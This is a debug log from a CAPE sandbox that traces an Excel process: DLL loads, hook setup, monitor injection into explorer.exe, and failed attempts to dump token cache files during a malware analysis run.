2025-12-06 18:05:33,683 [root] DEBUG: 3476: DLL loaded at 0x6CC40000: C:\Windows\SYSTEM32\wintypes (0xdb000 bytes).
2025-12-06 18:05:33,683 [root] DEBUG: 3476: DLL loaded at 0x6CD20000: C:\Windows\System32\Windows.Security.Authentication.Web.Core (0xf9000 bytes).
2025-12-06 18:05:33,698 [root] DEBUG: 3476: DLL loaded at 0x6CC00000: C:\Windows\System32\netprofm (0x32000 bytes).
2025-12-06 18:05:33,698 [root] DEBUG: 3476: DLL loaded at 0x6CBA0000: C:\Windows\SYSTEM32\mscoree (0x52000 bytes).
2025-12-06 18:05:33,698 [root] DEBUG: 3476: DLL loaded at 0x6CB10000: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei (0x88000 bytes).
2025-12-06 18:05:33,714 [root] DEBUG: 3476: DLL loaded at 0x6CB00000: C:\Windows\System32\npmproxy (0xa000 bytes).
2025-12-06 18:05:33,714 [root] DEBUG: 3476: DLL loaded at 0x76E40000: C:\Windows\System32\Normaliz (0x7000 bytes).
2025-12-06 18:05:33,730 [root] DEBUG: 3476: DLL loaded at 0x6CA30000: C:\Program Files (x86)\Microsoft Office\root\Office16\MsoAria (0xcd000 bytes).
2025-12-06 18:05:33,730 [root] DEBUG: 3476: DLL loaded at 0x6C960000: C:\Windows\SYSTEM32\WINHTTP (0xca000 bytes).
2025-12-06 18:05:33,730 [lib.api.process] WARNING: failed to open process 800
2025-12-06 18:05:33,730 [lib.api.process] WARNING: failed to open process 800
2025-12-06 18:05:33,730 [lib.api.process] WARNING: failed to open process 800
2025-12-06 18:05:33,730 [lib.api.process] DEBUG: Failed getting image name for pid 800
2025-12-06 18:05:33,730 [lib.api.process] WARNING: failed to open process 800
2025-12-06 18:05:33,730 [lib.api.process] DEBUG: Failed getting image name for pid 800
2025-12-06 18:05:33,730 [lib.api.process] DEBUG: Failed getting exit code for <Process 800 ???>
2025-12-06 18:05:33,730 [lib.api.process] WARNING: failed to open process 800
2025-12-06 18:05:33,730 [lib.api.process] DEBUG: Failed getting image name for pid 800
2025-12-06 18:05:33,730 [lib.api.process] WARNING: failed to open process 800
2025-12-06 18:05:33,730 [lib.api.process] DEBUG: Failed getting image name for pid 800
2025-12-06 18:05:33,730 [lib.api.process] WARNING: the <Process 800 ???> is not alive, injection aborted
2025-12-06 18:05:33,730 [root] DEBUG: 3476: set_hooks_by_export_directory: Hooked 0 out of 434 functions
2025-12-06 18:05:33,730 [root] DEBUG: 3476: DLL loaded at 0x6C910000: C:\Windows\SYSTEM32\sppcs (0x1c000 bytes).
2025-12-06 18:05:33,730 [root] DEBUG: 3476: DLL loaded at 0x6C930000: C:\Windows\SYSTEM32\sppc (0x9000 bytes).
2025-12-06 18:05:33,745 [root] DEBUG: 3476: DLL loaded at 0x6C940000: C:\Windows\SYSTEM32\slc (0x1f000 bytes).
2025-12-06 18:05:33,745 [root] DEBUG: 3476: DLL loaded at 0x6C8F0000: C:\Windows\system32\OnDemandConnRouteHelper (0x12000 bytes).
2025-12-06 18:05:33,745 [root] DEBUG: 3476: DLL loaded at 0x75310000: C:\Windows\system32\mswsock (0x52000 bytes).
2025-12-06 18:05:33,745 [root] DEBUG: 3476: DLL loaded at 0x77230000: C:\Windows\System32\NSI (0x7000 bytes).
2025-12-06 18:05:33,745 [root] DEBUG: 3476: DLL loaded at 0x6C950000: C:\Windows\SYSTEM32\WINNSI (0x8000 bytes).
2025-12-06 18:05:33,761 [root] DEBUG: 3476: DLL loaded at 0x6C6C0000: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\RICHED20 (0x283000 bytes).
2025-12-06 18:05:33,777 [root] DEBUG: 3476: DLL loaded at 0x75420000: C:\Windows\SYSTEM32\dhcpcsvc6 (0x14000 bytes).
2025-12-06 18:05:33,777 [root] DEBUG: 3476: DLL loaded at 0x75400000: C:\Windows\SYSTEM32\dhcpcsvc (0x16000 bytes).
2025-12-06 18:05:33,792 [root] DEBUG: 3476: DLL loaded at 0x6C2E0000: C:\Windows\SYSTEM32\iertutil (0x22d000 bytes).
2025-12-06 18:05:33,792 [root] DEBUG: 3476: DLL loaded at 0x6C2C0000: C:\Windows\SYSTEM32\srvcli (0x1d000 bytes).
2025-12-06 18:05:33,792 [root] DEBUG: 3476: DLL loaded at 0x6C2B0000: C:\Windows\SYSTEM32\netutils (0xb000 bytes).
2025-12-06 18:05:33,808 [root] DEBUG: 3476: DLL loaded at 0x6C510000: C:\Windows\SYSTEM32\urlmon (0x1a8000 bytes).
2025-12-06 18:05:33,808 [root] DEBUG: 3476: api-rate-cap: RtlSetCurrentTransaction hook disabled due to rate
2025-12-06 18:05:33,855 [root] DEBUG: 3476: DLL loaded at 0x6BDE0000: C:\Windows\SYSTEM32\twinapi.appcore (0x194000 bytes).
2025-12-06 18:05:33,855 [root] DEBUG: 3476: DLL loaded at 0x6BD40000: C:\Windows\System32\CoreMessaging (0x9b000 bytes).
2025-12-06 18:05:33,855 [root] DEBUG: 3476: DLL loaded at 0x6C130000: C:\Windows\System32\WindowManagementAPI (0x73000 bytes).
2025-12-06 18:05:33,855 [root] DEBUG: 3476: DLL loaded at 0x6BA90000: C:\Windows\SYSTEM32\ntmarta (0x29000 bytes).
2025-12-06 18:05:33,855 [root] DEBUG: 3476: DLL loaded at 0x6BAC0000: C:\Windows\System32\CoreUIComponents (0x27e000 bytes).
2025-12-06 18:05:33,871 [root] DEBUG: 3476: DLL loaded at 0x6C070000: C:\Windows\System32\TextInputFramework (0xb9000 bytes).
2025-12-06 18:05:33,871 [root] DEBUG: 3476: DLL loaded at 0x6BF80000: C:\Windows\System32\InputHost (0xed000 bytes).
2025-12-06 18:05:33,871 [root] DEBUG: 3476: DLL loaded at 0x6C1B0000: C:\Windows\System32\Windows.UI (0xf3000 bytes).
2025-12-06 18:05:33,886 [root] DEBUG: 3476: DLL loaded at 0x6B630000: C:\Windows\SYSTEM32\WININET (0x455000 bytes).
2025-12-06 18:05:33,902 [root] DEBUG: 3476: DLL loaded at 0x6B540000: C:\Windows\System32\Windows.UI.Immersive (0xec000 bytes).
2025-12-06 18:05:33,902 [root] DEBUG: 3476: DLL loaded at 0x6B520000: C:\Windows\SYSTEM32\ondemandconnroutehelper (0x12000 bytes).
2025-12-06 18:05:33,917 [root] DEBUG: 3476: set_hooks_by_export_directory: Hooked 0 out of 434 functions
2025-12-06 18:05:33,917 [root] DEBUG: 3476: DLL loaded at 0x6B4F0000: C:\Windows\SYSTEM32\sppcs (0x1c000 bytes).
2025-12-06 18:05:33,917 [root] DEBUG: 3476: DLL loaded at 0x6B510000: C:\Windows\SYSTEM32\sppc (0x9000 bytes).
2025-12-06 18:05:33,933 [root] DEBUG: 3476: DLL loaded at 0x6B470000: C:\Windows\SYSTEM32\webio (0x73000 bytes).
2025-12-06 18:05:33,933 [lib.common.results] INFO: Uploading file C:\Users\user\AppData\Local\Microsoft\Office\16.0\Personalization\Content\Anonymous\Insights.json to files\fafb3b8db54b6d2b64c782ccc5550c1df58ef9bf02d87cf9047275d32079bed4; Size is 390; Max size: 100000000
2025-12-06 18:05:33,933 [root] DEBUG: 3476: DLL loaded at 0x75370000: C:\Windows\SYSTEM32\DNSAPI (0x90000 bytes).
2025-12-06 18:05:33,949 [root] DEBUG: 3476: DLL loaded at 0x6B440000: C:\Windows\SYSTEM32\XmlLite (0x2b000 bytes).
2025-12-06 18:05:33,949 [root] DEBUG: 3476: DLL loaded at 0x6B430000: C:\Windows\System32\rasadhlp (0x8000 bytes).
2025-12-06 18:05:33,949 [root] DEBUG: 3476: DLL loaded at 0x6B410000: C:\Windows\SYSTEM32\Cabinet (0x20000 bytes).
2025-12-06 18:05:33,964 [root] DEBUG: 3476: DLL loaded at 0x6B320000: C:\Windows\SYSTEM32\webservices (0xef000 bytes).
2025-12-06 18:05:33,964 [root] DEBUG: 3476: DLL loaded at 0x6B2E0000: C:\Windows\SYSTEM32\d3d10_1core (0xc000 bytes).
2025-12-06 18:05:33,980 [root] DEBUG: 3476: DLL loaded at 0x6B2F0000: C:\Windows\SYSTEM32\d3d10_1 (0x29000 bytes).
2025-12-06 18:05:33,980 [root] DEBUG: 3476: DLL loaded at 0x6B2A0000: C:\Windows\System32\OneCoreCommonProxyStub (0x3d000 bytes).
2025-12-06 18:05:34,011 [root] DEBUG: 3476: DLL loaded at 0x6B260000: C:\Windows\System32\vaultcli (0x37000 bytes).
2025-12-06 18:05:34,011 [root] DEBUG: 3476: DLL loaded at 0x6B230000: C:\Windows\SYSTEM32\dwmapi (0x26000 bytes).
2025-12-06 18:05:34,027 [root] DEBUG: 3476: DLL loaded at 0x6B200000: C:\Windows\System32\aadWamExtension (0x23000 bytes).
2025-12-06 18:05:34,042 [root] DEBUG: 3476: DLL loaded at 0x6B160000: C:\Windows\SYSTEM32\TextShaping (0x94000 bytes).
2025-12-06 18:05:34,121 [root] DEBUG: 3476: api-rate-cap: NtReadVirtualMemory hook disabled due to rate
2025-12-06 18:05:34,151 [root] DEBUG: 3476: DLL loaded at 0x6A4F0000: C:\Program Files (x86)\Microsoft Office\root\Office16\oart (0xc68000 bytes).
2025-12-06 18:05:34,151 [root] DEBUG: 3476: DLL loaded at 0x752F0000: C:\Windows\SYSTEM32\CRYPTSP (0x13000 bytes).
2025-12-06 18:05:34,167 [root] DEBUG: 3476: DLL loaded at 0x752C0000: C:\Windows\system32\rsaenh (0x2f000 bytes).
2025-12-06 18:05:34,183 [root] DEBUG: 3476: DLL loaded at 0x6A460000: C:\Windows\system32\twinapi (0x82000 bytes).
2025-12-06 18:05:34,230 [root] DEBUG: 3476: api-rate-cap: GetSystemTimeAsFileTime hook disabled due to rate
2025-12-06 18:05:34,230 [root] DEBUG: 3476: api-rate-cap: GetSystemTimeAsFileTime hook disabled due to rate
2025-12-06 18:05:34,230 [root] DEBUG: 3476: api-rate-cap: NtWaitForSingleObject hook disabled due to rate
2025-12-06 18:05:34,355 [root] DEBUG: 3476: DLL loaded at 0x6A340000: C:\Windows\System32\msvcp110_win (0x65000 bytes).
2025-12-06 18:05:34,355 [root] DEBUG: 3476: DLL loaded at 0x6A3B0000: C:\Windows\System32\policymanager (0x85000 bytes).
2025-12-06 18:05:34,355 [root] DEBUG: 3476: DLL loaded at 0x6A440000: C:\Windows\System32\HvsiManagementApi (0x1a000 bytes).
2025-12-06 18:05:34,370 [root] DEBUG: 3476: DLL loaded at 0x6A2A0000: C:\Windows\System32\Windows.Web (0x92000 bytes).
2025-12-06 18:05:34,386 [root] DEBUG: 3476: DLL loaded at 0x6A0C0000: C:\Windows\System32\msxml6 (0x1dd000 bytes).
2025-12-06 18:05:34,386 [root] DEBUG: 3476: DLL loaded at 0x6A0B0000: C:\Windows\SYSTEM32\DPAPI (0x8000 bytes).
2025-12-06 18:05:34,402 [root] INFO: Added new file to list with pid None and path C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres
2025-12-06 18:05:34,402 [root] DEBUG: 3476: api-rate-cap: NtEnumerateValueKey hook disabled due to rate
2025-12-06 18:05:34,402 [root] DEBUG: 3476: api-rate-cap: NtQueryValueKey hook disabled due to rate
2025-12-06 18:05:34,402 [root] DEBUG: 3476: api-rate-cap: NtQueryValueKey hook disabled due to rate
2025-12-06 18:05:34,402 [root] INFO: Error dumping file from path "C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres": [Errno 13] Permission denied: 'C:\\Users\\user\\AppData\\Local\\Microsoft\\TokenBroker\\Cache\\5475cb191e478c39370a215b2da98a37e9dc813d.tbres'
2025-12-06 18:05:34,402 [root] INFO: Error dumping file from path "C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres": [Errno 13] Permission denied: 'C:\\Users\\user\\AppData\\Local\\Microsoft\\TokenBroker\\Cache\\5475cb191e478c39370a215b2da98a37e9dc813d.tbres'
2025-12-06 18:05:34,417 [root] DEBUG: 3476: DLL loaded at 0x6A010000: C:\Windows\System32\Windows.StateRepositoryPS (0x93000 bytes).
2025-12-06 18:05:34,417 [root] INFO: Error dumping file from path "C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres": [Errno 13] Permission denied: 'C:\\Users\\user\\AppData\\Local\\Microsoft\\TokenBroker\\Cache\\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres'
2025-12-06 18:05:34,417 [root] INFO: Error dumping file from path "C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres": [Errno 13] Permission denied: 'C:\\Users\\user\\AppData\\Local\\Microsoft\\TokenBroker\\Cache\\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres'
2025-12-06 18:05:34,417 [root] DEBUG: 3476: api-rate-cap: NtQueryKey hook disabled due to rate
2025-12-06 18:05:34,433 [root] DEBUG: 3476: DLL loaded at 0x69FF0000: C:\Windows\SYSTEM32\MPR (0x19000 bytes).
2025-12-06 18:05:34,433 [root] INFO: Error dumping file from path "C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e0495fde257df2ef62ee7e3fdb1ebb9d7ff72300.tbres": [Errno 13] Permission denied: 'C:\\Users\\user\\AppData\\Local\\Microsoft\\TokenBroker\\Cache\\e0495fde257df2ef62ee7e3fdb1ebb9d7ff72300.tbres'
2025-12-06 18:05:34,433 [root] INFO: Error dumping file from path "C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e0495fde257df2ef62ee7e3fdb1ebb9d7ff72300.tbres": [Errno 13] Permission denied: 'C:\\Users\\user\\AppData\\Local\\Microsoft\\TokenBroker\\Cache\\e0495fde257df2ef62ee7e3fdb1ebb9d7ff72300.tbres'
2025-12-06 18:05:34,433 [root] DEBUG: 3476: DLL loaded at 0x69FD0000: C:\Windows\SYSTEM32\FLTLIB (0x8000 bytes).
2025-12-06 18:05:34,433 [root] INFO: Error dumping file from path "C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres": [Errno 13] Permission denied: 'C:\\Users\\user\\AppData\\Local\\Microsoft\\TokenBroker\\Cache\\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres'
2025-12-06 18:05:34,433 [root] INFO: Error dumping file from path "C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres": [Errno 13] Permission denied: 'C:\\Users\\user\\AppData\\Local\\Microsoft\\TokenBroker\\Cache\\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres'
2025-12-06 18:05:34,449 [root] DEBUG: 3476: DLL loaded at 0x69FE0000: C:\Windows\SYSTEM32\virtdisk (0xf000 bytes).
2025-12-06 18:05:34,449 [root] DEBUG: 3476: DLL loaded at 0x77080000: C:\Windows\System32\coml2 (0x5e000 bytes).
2025-12-06 18:05:34,495 [root] DEBUG: 3476: DLL loaded at 0x69BB0000: C:\Program Files (x86)\Microsoft Office\root\Office16\GKExcel (0x415000 bytes).
2025-12-06 18:05:34,542 [root] INFO: Added new file to list with pid None and path C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres
2025-12-06 18:05:34,542 [root] DEBUG: 3476: api-rate-cap: NtReadFile hook disabled due to rate
2025-12-06 18:05:34,574 [root] DEBUG: 3476: DLL loaded at 0x69A00000: C:\Windows\system32\dcomp (0x164000 bytes).
2025-12-06 18:05:34,574 [root] DEBUG: 3476: DLL loaded at 0x69B70000: C:\Windows\system32\dataexchange (0x31000 bytes).
2025-12-06 18:05:34,589 [root] DEBUG: 3476: DLL loaded at 0x69990000: C:\Windows\System32\MicrosoftAccountWAMExtension (0x61000 bytes).
2025-12-06 18:05:34,589 [root] DEBUG: 3476: api-rate-cap: NtOpenKey hook disabled due to rate
2025-12-06 18:05:34,605 [root] DEBUG: 3476: api-rate-cap: NtOpenKey hook disabled due to rate
2025-12-06 18:05:34,605 [root] INFO: Added new file to list with pid None and path C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres
2025-12-06 18:05:34,605 [root] DEBUG: 3476: api-rate-cap: NtClose hook disabled due to rate
2025-12-06 18:05:34,605 [root] DEBUG: 3476: api-rate-cap: NtClose hook disabled due to rate
2025-12-06 18:05:34,621 [root] DEBUG: 3476: hook_api: NetUserGetInfo export address 0x6997E1DE obtained via GetFunctionAddress
2025-12-06 18:05:34,621 [root] DEBUG: 3476: hook_api: NetGetJoinInformation export address 0x6997D233 obtained via GetFunctionAddress
2025-12-06 18:05:34,621 [root] DEBUG: 3476: hook_api: NetUserGetLocalGroups export address 0x6997E20A obtained via GetFunctionAddress
2025-12-06 18:05:34,621 [root] DEBUG: 3476: hook_api: DsEnumerateDomainTrustsW export address 0x6997BC9F obtained via GetFunctionAddress
2025-12-06 18:05:34,621 [root] DEBUG: 3476: DLL loaded at 0x69970000: C:\Windows\SYSTEM32\netapi32 (0x14000 bytes).
2025-12-06 18:05:34,621 [root] DEBUG: 3476: DLL loaded at 0x69860000: C:\Windows\SYSTEM32\DSREG (0x110000 bytes).
2025-12-06 18:05:34,636 [root] DEBUG: 3476: DLL loaded at 0x69820000: C:\Windows\system32\mlang (0x34000 bytes).
2025-12-06 18:05:34,667 [root] DEBUG: 3476: DLL loaded at 0x69980000: C:\Windows\SYSTEM32\MSIMG32 (0x6000 bytes).
2025-12-06 18:05:34,667 [root] DEBUG: 3476: DLL loaded at 0x69340000: C:\Program Files (x86)\Microsoft Office\root\Office16\gfx (0x4d4000 bytes).
2025-12-06 18:05:34,683 [root] DEBUG: 3476: DLL loaded at 0x69960000: C:\Windows\SYSTEM32\slc (0x1f000 bytes).
2025-12-06 18:05:34,683 [root] DEBUG: 3476: DLL loaded at 0x69950000: C:\Windows\SYSTEM32\srpapi (0x25000 bytes).
2025-12-06 18:05:34,730 [root] DEBUG: 3476: DLL loaded at 0x68E20000: C:\Windows\SYSTEM32\UIAutomationCore (0x273000 bytes).
2025-12-06 18:05:34,730 [root] DEBUG: 3476: DLL loaded at 0x69890000: C:\Windows\SYSTEM32\MSVCR100 (0xbf000 bytes).
2025-12-06 18:05:34,730 [root] DEBUG: 3476: DLL loaded at 0x690A0000: C:\Program Files (x86)\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7 (0x29a000 bytes).
2025-12-06 18:05:34,745 [root] DEBUG: 3476: DLL loaded at 0x68D90000: C:\Windows\system32\directmanipulation (0x86000 bytes).
2025-12-06 18:05:34,745 [root] DEBUG: 3476: api-rate-cap: NtQueryPerformanceCounter hook disabled due to rate
2025-12-06 18:05:34,745 [root] DEBUG: 3476: api-rate-cap: NtQueryPerformanceCounter hook disabled due to rate
2025-12-06 18:05:34,761 [root] DEBUG: 3476: DLL loaded at 0x68C10000: C:\Windows\SYSTEM32\WindowsCodecs (0x171000 bytes).
2025-12-06 18:05:34,792 [root] DEBUG: 3476: hook_api: Warning - ScriptIsComplex export address 0x69871714 differs from GetProcAddress -> 0x75A50FB0 (gdi32full.dll::0xa0fb0)
2025-12-06 18:05:34,792 [root] DEBUG: 3476: DLL loaded at 0x69870000: C:\Windows\SYSTEM32\usp10 (0x17000 bytes).
2025-12-06 18:05:34,808 [root] DEBUG: 3476: DLL loaded at 0x68A70000: C:\Windows\System32\Bcp47Langs (0x48000 bytes).
2025-12-06 18:05:34,808 [root] DEBUG: 3476: DLL loaded at 0x68A40000: C:\Windows\System32\bcp47mrm (0x22000 bytes).
2025-12-06 18:05:34,823 [root] DEBUG: 3476: DLL loaded at 0x68AC0000: C:\Windows\System32\Windows.Globalization (0x145000 bytes).
2025-12-06 18:05:34,823 [root] DEBUG: 3476: DLL loaded at 0x68A20000: C:\Windows\SYSTEM32\globinputhost (0x1c000 bytes).
2025-12-06 18:05:34,839 [root] DEBUG: 3476: DLL loaded at 0x688D0000: C:\Program Files (x86)\Common Files\Microsoft Shared\Office16\MSPTLS (0x14e000 bytes).
2025-12-06 18:05:34,933 [root] DEBUG: 3476: api-rate-cap: LdrGetProcedureAddressForCaller hook disabled due to rate
2025-12-06 18:05:35,668 [root] DEBUG: 3476: DLL loaded at 0x68800000: C:\Windows\System32\Windows.Networking.Connectivity (0x8f000 bytes).
2025-12-06 18:05:35,699 [root] DEBUG: 3476: DLL loaded at 0x68730000: C:\Windows\System32\Windows.Security.Authentication.OnlineId (0xc1000 bytes).
2025-12-06 18:05:35,714 [root] DEBUG: 3476: DLL loaded at 0x68370000: C:\Windows\System32\OneCoreUAPCommonProxyStub (0x3b9000 bytes).
2025-12-06 18:05:35,746 [lib.api.process] WARNING: failed to open process 2692
2025-12-06 18:05:35,746 [lib.api.process] WARNING: failed to open process 2692
2025-12-06 18:05:35,746 [lib.api.process] WARNING: failed to open process 2692
2025-12-06 18:05:35,746 [lib.api.process] DEBUG: Failed getting image name for pid 2692
2025-12-06 18:05:35,746 [lib.api.process] WARNING: failed to open process 2692
2025-12-06 18:05:35,746 [lib.api.process] DEBUG: Failed getting image name for pid 2692
2025-12-06 18:05:35,746 [lib.api.process] DEBUG: Failed getting exit code for <Process 2692 ???>
2025-12-06 18:05:35,746 [lib.api.process] WARNING: failed to open process 2692
2025-12-06 18:05:35,746 [lib.api.process] DEBUG: Failed getting image name for pid 2692
2025-12-06 18:05:35,746 [lib.api.process] WARNING: failed to open process 2692
2025-12-06 18:05:35,746 [lib.api.process] DEBUG: Failed getting image name for pid 2692
2025-12-06 18:05:35,746 [lib.api.process] WARNING: the <Process 2692 ???> is not alive, injection aborted
2025-12-06 18:05:37,761 [root] DEBUG: 3476: DLL loaded at 0x68300000: C:\Windows\SYSTEM32\wbemcomn (0x70000 bytes).
2025-12-06 18:05:37,761 [root] DEBUG: 3476: DLL loaded at 0x69860000: C:\Windows\system32\wbem\wbemprox (0xd000 bytes).
2025-12-06 18:05:37,777 [root] DEBUG: 3476: DLL loaded at 0x682F0000: C:\Windows\system32\wbem\wbemsvc (0x10000 bytes).
2025-12-06 18:05:37,777 [root] DEBUG: 3476: DLL loaded at 0x68220000: C:\Windows\system32\wbem\fastprox (0xc9000 bytes).
2025-12-06 18:05:37,792 [root] DEBUG: 3476: DLL loaded at 0x68200000: C:\Windows\SYSTEM32\amsi (0x18000 bytes).
2025-12-06 18:05:37,792 [root] DEBUG: 3476: DLL loaded at 0x681C0000: C:\Program Files (x86)\Windows Defender\MpOav (0x38000 bytes).
2025-12-06 18:05:39,839 [root] DEBUG: 3476: DLL loaded at 0x68120000: C:\Program Files (x86)\Microsoft Office\root\Office16\osfshared (0xa0000 bytes).
2025-12-06 18:05:46,136 [root] DEBUG: 3476: DLL loaded at 0x68080000: C:\Windows\System32\SLC (0x1f000 bytes).
2025-12-06 18:05:46,136 [root] DEBUG: 3476: DLL loaded at 0x680A0000: C:\Windows\System32\appresolver (0x71000 bytes).
2025-12-06 18:05:46,136 [root] INFO: Announced 64-bit process name: explorer.exe pid: 4804
2025-12-06 18:05:46,136 [lib.api.process] INFO: Monitor config for <Process 4804 explorer.exe>: C:\tmpodgh_435\dll\4804.ini
2025-12-06 18:05:46,152 [lib.api.process] INFO: 64-bit DLL to inject is C:\tmpodgh_435\dll\LHradFS.dll, loader C:\tmpodgh_435\bin\hirsWgiZ.exe
2025-12-06 18:05:46,152 [root] DEBUG: Loader: Injecting process 4804 with C:\tmpodgh_435\dll\LHradFS.dll.
2025-12-06 18:05:46,167 [root] DEBUG: 4804: Python path set to 'C:\Python38'.
2025-12-06 18:05:46,167 [root] INFO: Disabling sleep skipping.
2025-12-06 18:05:46,167 [root] DEBUG: 4804: Dropped file limit defaulting to 100.
2025-12-06 18:05:46,167 [root] DEBUG: 4804: YaraInit: Compiled 41 rule files
2025-12-06 18:05:46,167 [root] DEBUG: 4804: YaraInit: Compiled rules saved to file C:\tmpodgh_435\data\yara\capemon.yac
2025-12-06 18:05:46,167 [root] DEBUG: 4804: GetAddressByYara: ModuleBase 0x00007FFCF7D30000 FunctionName RtlInsertInvertedFunctionTable
2025-12-06 18:05:46,183 [root] DEBUG: 4804: RtlInsertInvertedFunctionTable 0x00007FFCF7D4090E, LdrpInvertedFunctionTableSRWLock 0x00007FFCF7E9D510
2025-12-06 18:05:46,183 [root] DEBUG: 4804: YaraScan: Scanning 0x00007FF733950000, size 0x50b15a
2025-12-06 18:05:46,214 [root] DEBUG: Error 5 (0x5) - AmsiDumper: Is CAPE agent running elevated? Initialisation failed: Access is denied.
2025-12-06 18:05:46,214 [root] DEBUG: 4804: Monitor initialised: 64-bit capemon loaded in process 4804 at 0x00007FFCD3CD0000, thread 2476, image base 0x00007FF733950000, stack from 0x00000000093B2000-0x00000000093C0000
2025-12-06 18:05:46,214 [root] DEBUG: 4804: Commandline: C:\Windows\Explorer.EXE
2025-12-06 18:05:46,214 [root] DEBUG: 4804: hook_api: LdrpCallInitRoutine export address 0x00007FFCF7D499BC obtained via GetFunctionAddress
2025-12-06 18:05:46,214 [root] DEBUG: 4804: hook_api: Warning - CoCreateInstance export address 0x00007FFCF69442CB differs from GetProcAddress -> 0x00007FFCF64AA420 (combase.dll::0x2a420)
2025-12-06 18:05:46,214 [root] DEBUG: 4804: hook_api: Warning - CoCreateInstanceEx export address 0x00007FFCF694430A differs from GetProcAddress -> 0x00007FFCF6524180 (combase.dll::0xa4180)
2025-12-06 18:05:46,214 [root] DEBUG: 4804: hook_api: Warning - CoGetClassObject export address 0x00007FFCF694489A differs from GetProcAddress -> 0x00007FFCF64AEB00 (combase.dll::0x2eb00)
2025-12-06 18:05:46,230 [root] DEBUG: 4804: hook_api: Warning - CLSIDFromProgID export address 0x00007FFCF6943B16 differs from GetProcAddress -> 0x00007FFCF6528570 (combase.dll::0xa8570)
2025-12-06 18:05:46,230 [root] DEBUG: 4804: hook_api: Warning - CLSIDFromProgIDEx export address 0x00007FFCF6943B53 differs from GetProcAddress -> 0x00007FFCF6528A40 (combase.dll::0xa8a40)
2025-12-06 18:05:46,230 [root] WARNING: b'Unable to place hook on LockResource'
2025-12-06 18:05:46,230 [root] DEBUG: 4804: set_hooks: Unable to hook LockResource
2025-12-06 18:05:46,230 [root] DEBUG: 4804: hook_api: Warning - NetUserGetInfo export address 0x00007FFCEB571F5E differs from GetProcAddress -> 0x00007FFCEB732C40 (samcli.dll::0x2c40)
2025-12-06 18:05:46,230 [root] DEBUG: 4804: hook_api: Warning - NetGetJoinInformation export address 0x00007FFCEB570FB3 differs from GetProcAddress -> 0x00007FFCF45D16F0 (wkscli.dll::0x16f0)
2025-12-06 18:05:46,230 [root] DEBUG: 4804: hook_api: Warning - NetUserGetLocalGroups export address 0x00007FFCEB571F8A differs from GetProcAddress -> 0x00007FFCEB731C60 (samcli.dll::0x1c60)
2025-12-06 18:05:46,230 [root] DEBUG: 4804: hook_api: Warning - DsEnumerateDomainTrustsW export address 0x00007FFCEB56FA1F differs from GetProcAddress -> 0x00007FFCF4978780 (LOGONCLI.DLL::0x18780)
2025-12-06 18:05:46,246 [root] DEBUG: 4804: Hooked 605 out of 606 functions
2025-12-06 18:05:46,246 [root] DEBUG: 4804: Syscall hook installed, syscall logging level 1
2025-12-06 18:05:46,246 [root] INFO: Loaded monitor into process with pid 4804
2025-12-06 18:05:46,246 [root] DEBUG: 4804: api-rate-cap: LdrpCallInitRoutine hook disabled due to rate
2025-12-06 18:05:46,246 [root] DEBUG: InjectDllViaThread: Successfully injected Dll into process via RtlCreateUserThread.
2025-12-06 18:05:46,246 [root] DEBUG: Successfully injected DLL C:\tmpodgh_435\dll\LHradFS.dll.
2025-12-06 18:05:46,246 [lib.api.process] INFO: Injected into 64-bit <Process 4804 explorer.exe>
2025-12-06 18:05:46,277 [root] DEBUG: 4804: caller_dispatch: Added region at 0x00007FF733950000 to tracked regions list (user32::MsgWaitForMultipleObjectsEx returns to 0x00007FF7339CC0F9, thread 4888).
2025-12-06 18:05:46,277 [root] DEBUG: 4804: YaraScan: Scanning 0x00007FF733950000, size 0x50b15a
2025-12-06 18:05:46,292 [root] DEBUG: 4804: ProcessImageBase: Main module image at 0x00007FF733950000 unmodified (entropy change 0.000000e+00)
2025-12-06 18:05:56,511 [root] DEBUG: 4804: OpenProcessHandler: Injection info created for process 3476, handle 0x1ef8: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
2025-12-06 18:05:56,542 [root] DEBUG: 3476: DLL loaded at 0x68000000: C:\Windows\SYSTEM32\WINSPOOL.DRV (0x76000 bytes).
2025-12-06 18:06:01,589 [root] DEBUG: Error 5 (0x5) - OpenProcessHandler: Error obtaining target process name: Access is denied.
2025-12-06 18:06:01,589 [root] DEBUG: 4804: OpenProcessHandler: Injection info created for process 5888, handle 0x1e90: Error obtaining target process name
2025-12-06 18:06:01,589 [root] DEBUG: Error 5 (0x5) - OpenProcessHandler: Error obtaining target process name: Access is denied.
2025-12-06 18:06:01,589 [root] DEBUG: 4804: OpenProcessHandler: Injection info created for process 5572, handle 0x1ef8: Error obtaining target process name
2025-12-06 18:06:01,589 [root] DEBUG: Error 5 (0x5) - OpenProcessHandler: Error obtaining target process name: Access is denied.
2025-12-06 18:06:01,589 [root] DEBUG: 4804: OpenProcessHandler: Injection info created for process 5216, handle 0xb88: Error obtaining target process name
2025-12-06 18:06:01,589 [root] DEBUG: Error 5 (0x5) - OpenProcessHandler: Error obtaining target process name: Access is denied.
